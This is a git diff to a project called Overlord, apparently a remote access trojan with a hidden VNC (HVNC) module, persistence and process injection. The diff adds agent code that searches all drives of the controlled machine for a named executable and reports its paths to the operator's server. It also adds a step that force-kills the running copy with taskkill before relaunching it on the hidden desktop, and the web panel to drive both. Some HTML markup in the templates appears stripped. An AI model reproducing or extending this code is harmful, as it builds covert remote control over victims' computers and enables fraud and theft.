diff --git a/Overlord-Client/cmd/agent/filesearch/lookup.go b/Overlord-Client/cmd/agent/filesearch/lookup.go new file mode 100644 index 0000000..c6fee53 --- /dev/null +++ b/Overlord-Client/cmd/agent/filesearch/lookup.go @@ -0,0 +1,106 @@ +package filesearch + +import ( + "os" + "path/filepath" + "strings" + "sync" +) + +var SkipDirs = map[string]bool{ + "$recycle.bin": true, + "windows": true, + "system volume information": true, +} + +type ResultFunc func(path string) + +func LookupExe(exeName string, workers int, onResult ResultFunc) { + if workers <= 0 { + workers = 8 + } + lowerExe := strings.ToLower(exeName) + roots := driveRoots() + + dirs := make(chan string, 256) + + var inflight sync.WaitGroup + + var wg sync.WaitGroup + for i := 0; i < workers; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for dir := range dirs { + walkDir(dir, lowerExe, dirs, &inflight, onResult) + inflight.Done() + } + }() + } + + for _, root := range roots { + entries, err := os.ReadDir(root) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() { + if SkipDirs[strings.ToLower(e.Name())] { + continue + } + inflight.Add(1) + dirs <- filepath.Join(root, e.Name()) + } else if strings.ToLower(e.Name()) == lowerExe { + onResult(filepath.Join(root, e.Name())) + } + } + } + + go func() { + inflight.Wait() + close(dirs) + }() + + wg.Wait() +} + +func walkDir(root, lowerExe string, dirs chan<- string, inflight *sync.WaitGroup, onResult ResultFunc) { + entries, err := os.ReadDir(root) + if err != nil { + return + } + for _, e := range entries { + full := filepath.Join(root, e.Name()) + if e.IsDir() { + if SkipDirs[strings.ToLower(e.Name())] { + continue + } + inflight.Add(1) + select { + case dirs <- full: + default: + inflight.Done() + walkDir(full, lowerExe, dirs, inflight, onResult) + } + } else if strings.ToLower(e.Name()) == lowerExe { + onResult(full) + } + } +} + +func driveRoots() []string { + if os.PathSeparator == '\\' { + var roots []string + for c := 'A'; c <= 'Z'; c++ { + root := string(c) + ":\\" + if info, err := os.Stat(root); err == nil && info.IsDir() { + roots = append(roots, root) + } + } + if len(roots) == 0 { + roots = append(roots, "C:\\") + } + return roots + } + return []string{"/"} +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 6aa5a8b..96d2b0d 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -6,6 +6,7 @@ import ( "errors" "log" "os" + "os/exec" goruntime "runtime" "strconv" "strings" @@ -16,6 +17,7 @@ import ( "overlord-client/cmd/agent/audio" "overlord-client/cmd/agent/capture" "overlord-client/cmd/agent/console" + "overlord-client/cmd/agent/filesearch" "overlord-client/cmd/agent/persistence" "overlord-client/cmd/agent/plugins" "overlord-client/cmd/agent/runtime" @@ -1284,20 +1286,61 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in case "hvnc_start_process": payload, _ := envelope["payload"].(map[string]interface{}) filePath := "" + killExe := "" if payload != nil { if v, ok := payload["path"].(string); ok { filePath = v } + if v, ok := payload["kill_exe"].(string); ok { + killExe = v + } } - log.Printf("hvnc: start process %q", filePath) + log.Printf("hvnc: start process %q (kill_exe=%q)", filePath, killExe) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_process", nil, func() { + if killExe != "" { + out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput() + log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err) + } if err := capture.StartHVNCProcess(filePath); err != nil { log.Printf("hvnc: start process failed for %q: %v", filePath, err) } }) return nil + case "hvnc_lookup": + payload, _ := envelope["payload"].(map[string]interface{}) + exeName := "" + if payload != nil { + if v, ok := payload["exe"].(string); ok { + exeName = v + } + } + if exeName == "" { + sendCommandResultSafe(env, cmdID, false, "no exe name provided") + return nil + } + log.Printf("hvnc: lookup exe %q", exeName) + sendCommandResultSafe(env, cmdID, true, "") + goSafe("hvnc_lookup", nil, func() { + filesearch.LookupExe(exeName, 8, func(path string) { + _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{ + Type: "hvnc_lookup_result", + Exe: exeName, + Path: path, + Done: false, + }) + }) + _ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{ + Type: "hvnc_lookup_result", + Exe: exeName, + Path: "", + Done: true, + }) + log.Printf("hvnc: lookup complete for %q", exeName) + }) + return nil + case "hvnc_start_process_injected": payload, _ := envelope["payload"].(map[string]interface{}) filePath := "" diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 15151d0..74f2b8d 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -221,6 +221,13 @@ type HVNCCloneProgress struct { Status string `msgpack:"status"` } +type HVNCLookupResult struct { + Type string `msgpack:"type"` + Exe string `msgpack:"exe"` + Path string `msgpack:"path"` + Done bool `msgpack:"done"` +} + type ProxyData struct { Type string `msgpack:"type"` ConnectionID string `msgpack:"connectionId"` diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 9e107de..92bbd00 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -647,6 +647,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; handleCloneProgress(msg); return; } + if (msg && msg.type === "hvnc_lookup_result") { + handleLookupResult(msg); + return; + } if (msg && msg.type === "hvnc_error") { console.error("hvnc: server error:", msg.error || msg.message); return; @@ -663,6 +667,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; handleCloneProgress(msg); return; } + if (msg && msg.type === "hvnc_lookup_result") { + handleLookupResult(msg); + return; + } if (msg && msg.type === "hvnc_error") { console.error("hvnc: server error:", msg.error || msg.message); return; @@ -897,6 +905,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; hideContextMenu(); showCustomExeModal(); return; + } else if (action === "lookup-exe") { + hideContextMenu(); + showLookupExeModal(); + return; } hideContextMenu(); }); @@ -943,6 +955,113 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } }); } + let activeLookupOverlay = null; + + function showLookupExeModal() { + if (activeLookupOverlay) activeLookupOverlay.remove(); + const overlay = document.createElement("div"); + overlay.id = "hvncLookupExeOverlay"; + overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60"; + overlay.innerHTML = ` +
+
Lookup Executable
+ +
+ + +
+ +
+
Results will appear here
+
+
+ +
+ +
+
+
`; + document.body.appendChild(overlay); + activeLookupOverlay = overlay; + + const nameInput = document.getElementById("hvncLookupExeName"); + const lookupBtn = document.getElementById("hvncLookupBtn"); + const statusEl = document.getElementById("hvncLookupStatus"); + const resultsEl = document.getElementById("hvncLookupResults"); + nameInput.focus(); + + function close() { overlay.remove(); activeLookupOverlay = null; } + document.getElementById("hvncLookupClose").addEventListener("click", close); + overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); }); + + function startLookup() { + const exe = nameInput.value.trim(); + if (!exe) return; + resultsEl.innerHTML = ""; + statusEl.classList.remove("hidden"); + lookupBtn.disabled = true; + lookupBtn.classList.add("opacity-50"); + sendCmd("hvnc_lookup", { exe }); + } + + lookupBtn.addEventListener("click", startLookup); + nameInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); startLookup(); } }); + } + + function handleLookupResult(msg) { + const overlay = activeLookupOverlay; + if (!overlay) return; + const statusEl = document.getElementById("hvncLookupStatus"); + const resultsEl = document.getElementById("hvncLookupResults"); + const lookupBtn = document.getElementById("hvncLookupBtn"); + if (!resultsEl) return; + + if (msg.done) { + if (statusEl) { + statusEl.innerHTML = 'Search complete'; + setTimeout(() => statusEl.classList.add("hidden"), 3000); + } + if (lookupBtn) { + lookupBtn.disabled = false; + lookupBtn.classList.remove("opacity-50"); + } + if (!resultsEl.querySelector("[data-lookup-path]")) { + resultsEl.innerHTML = '
No results found
'; + } + return; + } + + if (msg.path) { + // Remove placeholder if present + const placeholder = resultsEl.querySelector(":scope > div:not([data-lookup-path])"); + if (placeholder) placeholder.remove(); + + const item = document.createElement("button"); + item.type = "button"; + item.dataset.lookupPath = msg.path; + item.className = "w-full text-left px-2 py-1.5 rounded text-xs text-slate-200 hover:bg-violet-600/30 hover:text-violet-100 transition-colors font-mono truncate block"; + item.textContent = msg.path; + item.title = "Click to start in HVNC: " + msg.path; + item.addEventListener("click", () => { + const killCheckbox = document.getElementById("hvncLookupKill"); + const killExe = killCheckbox?.checked ? msg.exe : ""; + sendCmd("hvnc_start_process", { path: '"' + msg.path + '"', kill_exe: killExe }); + item.classList.add("text-emerald-400"); + item.innerHTML = '' + (killExe ? '(killed) ' : '') + msg.path; + }); + resultsEl.appendChild(item); + item.scrollIntoView({ block: "nearest" }); + } + } + function updateLatencyDisplay(ms) { lastLatencyMs = ms; if (latencyEl) { diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index e0b36cb..eee9904 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -229,6 +229,13 @@ > Run custom exe… +